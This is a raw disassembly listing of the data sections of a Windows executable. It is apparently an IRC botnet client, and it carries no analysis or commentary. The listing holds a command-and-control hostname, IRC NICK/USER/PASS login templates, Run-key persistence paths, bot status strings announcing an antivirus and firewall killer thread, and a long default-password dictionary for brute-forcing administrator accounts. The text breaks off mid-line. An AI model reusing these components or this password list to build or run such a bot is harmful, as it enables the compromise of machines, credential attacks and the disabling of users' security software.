aMovefilea db 'MoveFileA',0 dw 252h aLoadlibrarya db 'LoadLibraryA',0 align 2 dw 1A0h aGetprocaddress db 'GetProcAddress',0 align 4 db 14h db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 10h db 74h ; t db 1, 47h, 65h aTlocaleinfoa db 'tLocaleInfoA',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 db 'º',0 aExitthread db 'ExitThread',0 align 10h db 51h ; Q db 2, 4Ch, 65h aAvecriticalsec db 'aveCriticalSection',0 align 4 aS_7 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 10h db 24h ; $ db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 2B5h aReadfile_0 db 'ReadFile',0 align 2 dw 3A4h aWritefile db 'WriteFile',0 dw 368h aTransactnamedp db 'TransactNamedPipe',0 aS_8 db 'S',0 aCreatefilea db 'CreateFileA',0 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentproc db 'GetCurrentProcess',0 aE_0 db 'e',0 aCreatepipe db 'CreatePipe',0 align 4 dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db 'Ä',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ü',0 aFindnextfilea db 'FindNextFileA',0 db 'Ò',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepointer db 'SetFilePointer',0 align 4 db 0EEh ; î db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 8Eh ; Ž db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 2A3h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; ¤ db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 724600F8h, 694C6565h dd 72617262h, 1590079h aGetenvironment db 'GetEnvironmentVariableW',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; £ db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0B8h ; ¸ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime db 'GetFileTime',0 db '¼',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 94h ; ” db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 3C3h aLstrcmpia db 'lstrcmpiA',0 dw 15Ah aGetexitcodepro db 'GetExitCodeProcess',0 align 10h db 91h ; ‘ db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db 78h ; x db 1, 47h, 65h aTlogicaldrives db 'tLogicalDrives',0 align 4 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 dw 21Ah aHeaprealloc db 'HeapReAlloc',0 dd 745202D7h, 776E556Ch, 646E69h, 654701B7h, 61745374h dd 70757472h, 6F666E49h, 1100041h, 43746547h, 616D6D6Fh dd 694C646Eh, 41656Eh, 654701E8h, 72655674h, 6E6F6973h dd 1580000h aGetenvironme_0 db 'GetEnvironmentVariableA',0 dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B9h aGetstdhandle db 'GetStdHandle',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_0 db 'î',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 10h db 0BAh ; º db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 aKernel32_dll_0 db 'KERNEL32.dll',0 align 10h _rdata ends ; Section 3. (virtual address 00029000) ; Virtual size : 000B43A0 ( 738208.) ; Section size in file : 000B43A0 ( 738208.) ; Offset to raw data for section: 00029000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 429000h dword_429000 dd 0 ; DATA XREF: __cinit+1Fo dd offset loc_401205 dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime dd offset sub_40F0EC dword_429010 dd 0 ; DATA XREF: __cinit+1Ao dword_429014 dd 0 ; DATA XREF: __cinit+10o dd offset ___onexitinit dd offset ___initmbctable dd offset ___initstdio dd offset sub_424F62 dword_429028 dd 0 ; DATA XREF: __cinit:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: _doexit+65o dd offset ___endstdio dword_429034 dd 0 ; DATA XREF: _doexit:loc_41C213o dword_429038 dd 0 ; DATA XREF: _doexit+76o dd offset sub_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: _doexit:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... align 4 dword_42906C dd 1B58h ; DATA XREF: WinMain(x,x,x,x)+4A4r ; WinMain(x,x,x,x)+539r dword_429070 dd 0C8Bh ; DATA XREF: WinMain(x,x,x,x)+585r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr dword_429090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... ; int dword_42909C dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... ; int dword_4290A0 dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r ; char aSbrti[] aSbrti db 'sbrti',0 ; DATA XREF: WinMain(x,x,x,x)+5Do ; sub_401ACD:loc_40445Do ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 ; char aCool[] aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h ; char Source[] Source db 'scorti1.dns2go.com',0 ; DATA XREF: WinMain(x,x,x,x)+490o ; WinMain(x,x,x,x)+52Ao align 4 ; char aFaak[] aFaak db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o ; WinMain(x,x,x,x)+540o ... align 4 ; char aSaad_[] aSaad_ db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o ; WinMain(x,x,x,x)+552o align 4 ; char byte_4290E4 byte_4290E4 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401789r ; WinMain(x,x,x,x)+576o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 ; char aFaak_0[] aFaak_0 db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co align 10h ; char aSaad__0[] aSaad__0 db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo align 4 ; char Str[] Str db 'vdobbhjb.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o ; WinMain(x,x,x,x)+167w ... align 4 aWinnt_bat db 'winnt.bat',0 align 4 aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo align 4 asc_429138: ; DATA XREF: .text:0040AB2Bo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h ; char aF[] aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 ; char aF_0[] aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 ; char aF_1[] aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_1 ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_0 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_1 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: .data:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: .data:004294B0o aMain db 'main',0 ; DATA XREF: .data:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:004294A8o aBlank db 'blank',0 ; DATA XREF: .data:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: .data:004294A0o align 10h aControl db 'control',0 ; DATA XREF: .data:0042949Co aXp_0 db 'xp',0 ; DATA XREF: .data:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: .data:00429494o align 4 aHp db 'hp',0 ; DATA XREF: .data:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:0042948Co aCompaq db 'compaq',0 ; DATA XREF: .data:00429488o align 4 aDell db 'dell',0 ; DATA XREF: .data:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: .data:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: .data:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00429470o align 4 aSql db 'sql',0 ; DATA XREF: .data:0042946Co aSa db 'sa',0 ; DATA XREF: .data:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: .data:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00429458o align 4 aData db 'data',0 ; DATA XREF: .data:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:00429448o align 10h aAccess db 'access',0 ; DATA XREF: .data:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: .data:00429434o align 4 aHello db 'hello',0 ; DATA XREF: .data:00429430o align 4 aHell db 'hell',0 ; DATA XREF: .data:0042942Co align 4 aGod db 'god',0 ; DATA XREF: .data:00429428o aSex db 'sex',0 ; DATA XREF: .data:00429424o ; .data:off_438A68o aSlut db 'slut',0 ; DATA XREF: .data:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: .data:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: .data:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: .data:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: .data:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:00429408o align 4 aLogin_1 db 'login',0 ; DATA XREF: .data:00429404o align 10h aMary db 'mary',0 ; DATA XREF: .data:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: .data:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: .data:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: .data:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: .data:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: .data:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: .data:004293E4o aNeil db 'neil',0 ; DATA XREF: .data:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: .data:004293DCo aBrian db 'brian',0 ; DATA XREF: .data:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: .data:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: .data:004293CCo aSam db 'sam',0 ; DATA XREF: .data:004293C8o aLuke db 'luke',0 ; DATA XREF: .data:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: .data:004293C0o ; .data:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: .data:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: .data:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: .data:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: .data:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: .data:004293ACo aJen db 'jen',0 ; DATA XREF: .data:004293A8o aBob db 'bob',0 ; DATA XREF: .data:004293A4o ; .data:004293F8o aQwe db 'qwe',0 ; DATA XREF: .data:004293A0o aZxc db 'zxc',0 ; DATA XREF: .data:0042939Co aAsd db 'asd',0 ; DATA XREF: .data:00429398o aQaz db 'qaz',0 ; DATA XREF: .data:00429394o aWin2000 db 'win2000',0 ; DATA XREF: .data:00429390o aWinnt db 'winnt',0 ; DATA XREF: .data:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: .data:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: .data:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:00429374o aOem db 'oem',0 ; DATA XREF: .data:00429370o ; char aUser_0[] aUser_0 db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; .data:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:00429368o align 10h aHome db 'home',0 ; DATA XREF: .data:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: .data:00429358o ; .data:004294B4o align 4 aWww db 'www',0 ; DATA XREF: .data:00429354o ; char aWeb[] aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; .data:00429350o aOutlook db 'outlook',0 ; DATA XREF: .data:0042934Co aMail db 'mail',0 ; DATA XREF: .data:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: .data:00429340o align 4 ; char aServer_1[] aServer_1 db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; .data:00429338o align 4 aSystem db 'system',0 ; DATA XREF: .data:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: .data:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: .data:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: .data:00429320o align 4 aNone db 'none',0 ; DATA XREF: .data:0042931Co align 10h aTest db 'test',0 ; DATA XREF: .data:00429314o align 4 a2004 db '2004',0 ; DATA XREF: .data:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; .data:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: .data:00429308o align 10h a2001 db '2001',0 ; DATA XREF: .data:00429304o align 4 a2000 db '2000',0 ; DATA XREF: .data:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: .data:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: .data:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: .data:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:004292F0o a123456 db '123456',0 ; DATA XREF: .data:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: .data:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: .data:004292E4o align 4 a123 db '123',0 ; DATA XREF: .data:004292E0o a12 db '12',0 ; DATA XREF: .data:004292DCo align 4 a1: ; DATA XREF: .text:0040AFC7o ; .data:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:004292D4o aPwd db 'pwd',0 ; DATA XREF: .data:004292D0o aPass_1 db 'pass',0 ; DATA XREF: .data:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: .data:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: .data:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: .data:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: .data:004292B8o aDb2 db 'db2',0 ; DATA XREF: .data:00429460o aOracle db 'oracle',0 ; DATA XREF: .data:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: .data:00429440o align 4 aDefault db 'default',0 ; DATA XREF: .data:00429330o aGuest_0 db 'guest',0 ; DATA XREF: .data:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:004294C0o aStudent db 'student',0 ; DATA XREF: .data:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: .data:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: .data:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: .data:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_42915Co ; char asc_4299D4[] asc_4299D4 db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo db 3, 34h, 2 dd 6E656469h, 2036474h aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 ; char asc_429A08[] asc_429A08 db '-' ; DATA XREF: WinMain(x,x,x,x)+420o db 3, 34h, 2 dd 6E656469h, 2036474h aServerRunningO db '- Server running on Port: 113.',0 align 4 ; char asc_429A34[] asc_429A34 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 ; char asc_429A74[] asc_429A74 db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 ; char asc_429A98[] asc_429A98 db '-' ; DATA XREF: WinMain(x,x,x,x)+364o db 3, 34h, 2 dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h dd 0 ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo align 10h ; char Format[] Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o ; sub_41716F+45o align 4 ; char aSS[] aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do ; sub_4100B4+EAo ... align 10h ; char unk_429AD0 unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 ; char aModeSS_0[] aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 ; char unk_429B34 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 10h ; char aNoticeSHostAut[] aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 ; char aNoticeSYourAtt[] aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h ; char aNoticeSPassAut[] aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 ; char asc_429C48[] asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 ; char unk_429C4C unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h ; char unk_429C70 unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 ; char unk_429C98 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA 